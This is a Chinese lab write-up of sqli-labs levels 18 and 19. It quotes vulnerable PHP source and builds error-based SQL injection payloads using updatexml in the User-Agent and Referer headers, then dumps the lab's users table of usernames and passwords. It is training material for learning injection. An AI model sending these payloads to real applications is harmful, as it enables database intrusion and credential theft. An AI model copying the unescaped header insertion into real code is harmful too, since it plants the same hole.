sqli-labs 18

知识点

头部注入

报错注入

使用的函数:

updatexml (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
报错注入原理:当XPath_string()不满足格式的时候,会报错并把查询信息放到报错信息里
通常用 ’ ~ ’制造语法错误,编码后为0x7e

报错注入的语句:

updatexml(1,concat(0x7e,(常用sql注入语句),0x7e),1))

源代码

//这里是过滤
function check_input($value)
{
if(!empty($value))
{
$value = substr($value,0,20); // truncation (see comments)
}
if (get_magic_quotes_gpc()) //返回当前 magic_quotes_gpc 配置选项的设置 Stripslashes if magic quotes enabled
{
$value = stripslashes($value);//stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
}
if (!ctype_digit($value)) //用处:检查提供的 string 和 text 里面的字符是不是都是数字。语法:ctype_digit ( string $text ) : bool;
{
$value = "'" . mysql_real_escape_string($value) . "'";
//mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。下列字符受影响:\x00,\n,\r,\,',",\x1a
//如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
}
else
{
$value = intval($value);//intval() 函数通过使用指定的进制 base 转换(默认是十进制)
}
return $value;
}
//注意这里有对头部的处理
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
//只检查了输入的用户名和密码,没有检查头部
{
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
/*
echo 'Your Your User name:'. $uname;
echo "<br>";
echo 'Your Password:'. $passwd;
echo "<br>";
echo 'Your User Agent String:'. $uagent;
echo "<br>";
echo 'Your User Agent String:'. $IP;
*/
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'User Agent:'.$uname."\n"); fclose($fp); $sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
echo '<font color= "#FFFF00" font size = 3 >';
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
//注意这里把ip,uagent代入数据库查询了
mysql_query($insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
echo '<font color= "#0000ff" font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysql_error()); //注意这里输出了错误
echo "<br><br>";
echo '<img src="../images/flag.jpg" />';
echo "<br>"; }
else
{
echo '<font color= "#0000ff" font size="3">';
//echo "Try again looser";
print_r(mysql_error());
echo "</br>";
echo "</br>";
echo '<img src="../images/slap.jpg" />';
echo "</font>";
} }

判断

无过滤+代入数据库查询+输出错误=存在sql注入

查询结果显示uagent,ip

可以用报错注入,注入点可以用uagent

尝试了用ip做注入点但是没有结果

构造payload

首先要把原来的语句闭合,根据代码

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

我们要构造一个类似的语句,把原来的ip,uname代替掉,用#注释掉多余的部分

1','1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

库:security

1','1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#



表:emails,referers,uagents,users

1','1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#



users中的字段:id,username,password,ip,time,US

1','1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#



值:~1:Dumb:Dumb,2:Angelina:I-kill-y

没有完全显示出来,加上substr,一点点读取

1','1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#



ina:I-kill-you,3:Dummy:p@ssword



~d,4:secure:crappy,5:stupid:stup



stupid:stupidity,6:superman:gen



uperman:genious,7:batman:mob!le



tman:mob!le,8:admin:admin~

看到~,说明都读完了

~1:Dumb:Dumb,2:Angelina:I-kill-you,3:Dummy:p@ssword,4:secure:crappy,5:stupid:stupidity,6:superman:genious,7:batman:mob!le,8:admin:admin~

sqli-labs 19

和18题基本一样,除了注入点换到了referer,然后payload要减少一个参数,其他都一样

关键源码

$uagent = $_SERVER['HTTP_REFERER'];

uagent里面的值是referer

$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

插入语句里一共有两个参数

payload:

1',updatexml(1,concat(0x7e,(select database()),0x7e),1))#

1',updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))#

1',updatexml(1,concat(0x7e,(select group_concat( column_name ) from information_schema.columns where table_name='users'),0x7e),1))#

1',updatexml(1,concat(0x7e,(select(group_concat(id,0x3a,username,0x3a,password)) from security.users),0x7e),1))#

1',updatexml(1,concat(0x7e,(select substr((select group_concat(id,0x3a,username,0x3a,password) from security.users),20,50)),0x7e),1))#

最新文章

  1. Linux ip
  2. Duilib中Webbrowser事件完善使其支持判断页面加载完毕
  3. Java接口修饰符详解
  4. Shell下通过echo+telnet在远端执行命令
  5. log4net发布时assembly引用错误的问题
  6. KMP算法深入解析
  7. Ubuntu下java环境的搭建
  8. qwe框架- CNN 实现
  9. 【BZOJ1901】【Luogu2617】Dynamic Ranking(主席树,树状数组)
  10. Emacs Python 自动补全--Elpy
  11. Python第十天 print &gt;&gt; f,和fd.write()的区别 stdout的buffer 标准输入 标准输出 从控制台重定向到文件 标准错误 重定向 输出流和输入流 捕获sys.exit()调用 optparse argparse
  12. MyISAM和Innodb区别,为什么?
  13. gRPC Client Middleware.
  14. UML 资料整理
  15. 《Orange‘s》FAT12文件系统
  16. C#各种对话框
  17. EF_DataFrist遇到的问题
  18. .Net编译原理简单介绍
  19. Java编程的逻辑 (9) - 条件执行的本质
  20. Disconf 学习系列之Disconf 与 Diamond的横向对比(图文详解)

热门文章

  1. 如何修改IDM下载器的临时文件夹位置
  2. ABBYY FineReader 15 中保存和导出PDF文档的小细节
  3. 使用Folx下载任务完成后,怎么自动完成关闭
  4. Mybatis【2.2】-- Mybatis关于创建SqlSession源码分析的几点疑问?
  5. golang拾遗:嵌入类型
  6. C++编程指南续
  7. java并发编程实战《三》互斥锁(上)
  8. 第9.11节 Python中IO模块文件打开读写操作实例
  9. PyQt(Python+Qt)学习随笔:信号签名(signature of the signal)是什么?
  10. Zookeeper的基本原理(zk架构、zk存储结构、watch机制、独立安装zk、集群间同步复制)